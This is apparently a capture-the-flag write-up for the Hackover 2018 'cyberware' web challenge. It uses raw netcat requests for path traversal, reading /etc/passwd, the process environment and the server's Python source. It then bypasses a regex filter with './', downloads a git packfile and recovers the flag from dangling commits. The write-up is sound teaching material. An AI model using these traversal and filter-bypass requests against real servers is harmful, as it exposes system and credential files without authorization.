*([Original write-up](https://security.meta.stackexchange.com/a/3087/95381) by [@rawsec](https://twitter.com/rawsec/))*
## cyberware (web, 416)
We get a very basic web app that hosts some text files. Clicking on them in the browser doesn't get us anywhere (later, we'll find out that this is because the app detects and disallows referrers). So, let's use `curl`:
    $ curl -v "http://cyberware.ctf.hackover.de:1337/cat.txt"    ...    < HTTP/1.1 200 Yippie    < Server: Linux/cyber    < Date: Sun, 07 Oct 2018 21:04:46 GMT    < Content-type: text/cyber    < Content-length: 165    <         ____      (.   \        \  |         \ |___(\--/)       __/    (  . . )      "'._.    '-.O.'           '-.  \ "|\              '.,,/'.,,    
Awww! Now, one of the usual things to try with custom web apps is directory traversals. Note that we can't use curl here because it rewrites paths before sending them. So let's get raw:
    $ echo "GET /../ HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1    HTTP/1.1 403 You shall not list!
Ha, it seems to be handling the parent directory but disallows listing. What about absolute paths?
    $ echo "GET //etc/passwd HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7    root:x:0:0:root:/root:/bin/ash    bin:x:1:1:bin:/bin:/sbin/nologin    daemon:x:2:2:daemon:/sbin:/sbin/nologin    adm:x:3:4:adm:/var/adm:/sbin/nologin    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin    sync:x:5:0:sync:/sbin:/bin/sync    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown    halt:x:7:0:halt:/sbin:/sbin/halt    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin    news:x:9:13:news:/usr/lib/news:/sbin/nologin    uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin    operator:x:11:0:operator:/root:/bin/sh    man:x:13:15:man:/usr/man:/sbin/nologin    postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin    cron:x:16:16:cron:/var/spool/cron:/sbin/nologin    ftp:x:21:21::/var/lib/ftp:/sbin/nologin    sshd:x:22:22:sshd:/dev/null:/sbin/nologin    at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin    squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin    xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin    games:x:35:35:games:/usr/games:/sbin/nologin    postgres:x:70:70::/var/lib/postgresql:/bin/sh    cyrus:x:85:12::/usr/cyrus:/sbin/nologin    vpopmail:x:89:89::/var/vpopmail:/sbin/nologin    ntp:x:123:123:NTP:/var/empty:/sbin/nologin    smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin    guest:x:405:100:guest:/dev/null:/sbin/nologin    nobody:x:65534:65534:nobody:/:/sbin/nologin    ctf:x:1000:1000::/home/ctf:
Awesome, now how do we find interesting files from here? On Linux, the `procfs` can give us some information about the environment:
    $ echo "GET //proc/self/cmdline HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7    /usr/bin/python3./cyberserver.py
    $ echo "GET //proc/self/environ HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=7c26257684d8TERM=xtermHOME=/home/ctf
Seems like the server file is called `cyberserver.py`. Let's try to fetch it directly from home:
    $ echo "GET //home/ctf/cyberserver.py HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7    #!/usr/bin/python3    from threading import Thread    from sys import argv    from sys import getsizeof    from time import sleep    from socketserver import ThreadingMixIn    from http.server import SimpleHTTPRequestHandler    from http.server import HTTPServer    from re import search    from os.path import exists    from os.path import isdir
    class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):        pass
    class CyberServer(SimpleHTTPRequestHandler):        def version_string(self):            return f'Linux/cyber'
        def do_GET(self):            self.protocol_version = 'HTTP/1.1'
            referer = self.headers.get('Referer')            path = self.path[1:] or ''
            if referer:                self.send_response(412, 'referer sucks')                self.send_header('Content-type', 'text/cyber')                self.end_headers()                self.wfile.write(b"Protected by Cyberware 10.1")                return
            if not path:                self.send_response(200, 'cyber cat')                self.send_header('Content-type', 'text/html')                self.end_headers()                for animal in ['cat', 'fox', 'kangaroo', 'sheep']:                    self.wfile.write("{0}.txt"                                     .format(animal).encode())                return
            if path.endswith('/'):                self.send_response(403, 'You shall not list!')                self.send_header('Content-type', 'text/cyber')                self.end_headers()                self.wfile.write(b"Protected by Cyberware 10.1")                return
            if path.startswith('.'):                self.send_response(403, 'Dots are evil')                self.send_header('Content-type', 'text/cyber')                self.end_headers()                self.wfile.write(b"Protected by Cyberware 10.1")                return
            if path.startswith('flag.git') or search('\\w+/flag.git', path):                self.send_response(403, 'U NO POWER')                self.send_header('Content-type', 'text/cyber')                self.end_headers()                self.wfile.write(b"Protected by Cyberware 10.1")                return
            if not exists(path):                self.send_response(404, 'Cyber not found')                self.send_header('Content-type', 'cyber/error')                self.end_headers()                self.wfile.write(b"Protected by Cyberware 10.1")                return
            if isdir(path):                self.send_response(406, 'Cyberdir not accaptable')                self.send_header('Content-type', 'cyber/error')                self.end_headers()                self.wfile.write(b"Protected by Cyberware 10.1")                return
            try:                with open(path, 'rb') as f:                    content = f.read()
                self.send_response(200, 'Yippie')                self.send_header('Content-type', 'text/cyber')                self.send_header('Content-length', getsizeof(content))                self.end_headers()                self.wfile.write(content)            except Exception:                self.send_response(500, 'Cyber alert')                self.send_header('Content-type', 'cyber/error')                self.end_headers()                self.wfile.write("Cyber explosion: {}"                                 .format(path).encode())
    class CyberServerThread(Thread):        server = None
        def __init__(self, host, port):            Thread.__init__(self)            self.server = ThreadingSimpleServer((host, port), CyberServer)
        def run(self):            self.server.serve_forever()            return
    def main(host, port):        print(f"Starting cyberware at {host}:{port}")        cyberProtector = CyberServerThread(host, port)        cyberProtector.server.shutdown        cyberProtector.daemon = True        cyberProtector.start()        while True:            sleep(1)
    if __name__ == "__main__":        host = "0.0.0.0"        port = 1337        if len(argv) >= 2:            host = argv[1]        if len(argv) >= 3:            port = int(argv[3])        main(host, port)
Important things we find in that web server implementation are:
- Paths can't start with `.`- Paths can't end with `/`- There is a restriction for a path with `path.startswith('flag.git') or search('\\w+/flag.git', path)`
So it looks like we need to get into that `flag.git/` dir!
    $ echo "GET //home/ctf/flag.git HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1    HTTP/1.1 403 U NO POWER
Uh-oh, access denied! But we can simply bypass that `\w+/flag.git` regex. because putting a `./` inside the path doesn't change the location but a `.` doesn't match `\w`:
    $ echo "GET //home/ctf/./flag.git HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1    HTTP/1.1 406 Cyberdir not accaptable
Well, no directory listing. But the `.git` ending seems to indicate it's a git meta directory. So, let's try to extract some common files you may find in a `.git/` dir:
File `/flag.git/HEAD`:
    ref: refs/heads/master
File `/flag.git/refs/heads/master`:
    b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a
Now, we can't just extract all git objects without knowing their locations, but we just discovered an object hash, so we *should* be able to download it.
    $ echo "GET //home/ctf/./flag.git/objects/b6/9c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1    HTTP/1.1 404 Cyber not found
Odd! Usually, objects are in `.git/objects/`, but we can't locate that one. Let's dig a little more...
`/flag.git/COMMIT_EDITMSG`:
     better delete everything ... so its safe    # Please enter the commit message for your changes. Lines starting    # with '#' will be ignored, and an empty message aborts the commit.    # Explicit paths specified without -i or -o; assuming --only paths...    # On branch master    # Changes to be committed:    #	deleted:    ups    #    # ------------------------ >8 ------------------------    # Do not touch the line above.    # Everything below will be removed.    diff --git a/ups b/ups    deleted file mode 100644    index 8c2f73b..0000000    --- a/ups    +++ /dev/null    @@ -1 +0,0 @@    -make cyber tool to call cyberwehr for cygeremergency
Okay, so they deleted a file called `ups`, so we can't locate that either. But there's another mechanism for git to store objects -- [packfiles](https://git-scm.com/book/en/v2/Git-Internals-Packfiles)! Packfiles are a great feature because compressing (and storing only diffs instead of all file versions) helps git to keep the footprint small. Let's see if there are any packs:
File `/flag.git/objects/info/packs`:
    P pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
Nice, there's a packfile and we can conclude where it's located, so we can download the `.pack` and the corresponding index file:
    /flag.git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack    /flag.git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.idx
But since they aren't plaintext we can't just read them. So let's make a dummy repo for them:
    $ mkdir /tmp/foo    $ cd /tmp/foo    /tmp/foo $ git init
Copy the downloaded packfiles into it:
    /tmp/foo $ cp ~/downloads/pack.pack ~/downloads/pack.idx .git/objects/pack
Now, of course, the indexing etc. in our dummy repo is all messed up, so let's just use the tool [`git-repair`](https://git-repair.branchable.com/) to fix all those references.
    /tmp/foo $ git-repair    Running git fsck ...    Unpacking all pack files.    Unpacking objects: 100% (15/15), done.
    Successfully recovered repository!    You should run "git fsck" to make sure, but it looks like everything was recovered ok.
Let's verify:
    /tmp/foo $ git fsck
    notice: HEAD points to an unborn branch (master)    Checking object directories: 100% (256/256), done.    notice: No default references    dangling commit dd9ebcb882411a06c33ea9d8e4246acf70e7372e    dangling commit b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a
Uh, we have dangling commits? Let's have a look...
    /tmp/foo $ git branch dangling dd9ebcb882411a06c33ea9d8e4246acf70e7372e    /tmp/foo $ git checkout dangling    /tmp/foo $ git log -p -2
    commit dd9ebcb882411a06c33ea9d8e4246acf70e7372e (HEAD -> dangling)    Author: CyberControlCenter <[email protected]>    Date:   Sat Oct 8 23:05:18 2016 +0200
         better delete everything ... so its safe
    diff --git a/ups b/ups    deleted file mode 100644    index 8c2f73b..0000000    --- a/ups    +++ /dev/null    @@ -1 +0,0 @@    -make cyber tool to call cyberwehr for cygeremergency
    commit c0e01b58327e785a581c32b97e639014aef0f31e    Author: CyberControlCenter <[email protected]>    Date:   Sat Oct 8 23:05:02 2016 +0200
        ups did not happen. hide secret again
    diff --git a/hackover16{Cyb3rw4hr_pl5_n0_taR} b/ups    similarity index 100%    rename from hackover16{Cyb3rw4hr_pl5_n0_taR}    rename to ups
A `hackover16` fake flag? What's wrong with these guys... Let's check the other one then:
    /tmp/foo $ git branch dangling2 b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a    /tmp/foo $ git checkout dangling    /tmp/foo $ git log -p -2
    commit b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a (HEAD -> dangling2)    Author: CyberControlCenter <[email protected]>    Date:   Sat Oct 8 23:05:18 2016 +0200
         better delete everything ... so its safe
    diff --git a/ups b/ups    deleted file mode 100644    index 8c2f73b..0000000    --- a/ups    +++ /dev/null    @@ -1 +0,0 @@    -make cyber tool to call cyberwehr for cygeremergency
    commit 19f882c9ad7aec1e682511525cc43e271896ae9e    Author: CyberControlCenter <[email protected]>    Date:   Thu Sep 27 22:11:38 2018 +0200
        ups did not happen. hide secret again
    diff --git a/hackover18{Cyb3rw4r3_f0r_Th3_w1N} b/ups    similarity index 100%    rename from hackover18{Cyb3rw4r3_f0r_Th3_w1N}    rename to ups
There we go, in the verbose logs we can find that the file `ups` had once been renamed from:
    hackover18{Cyb3rw4r3_f0r_Th3_w1N}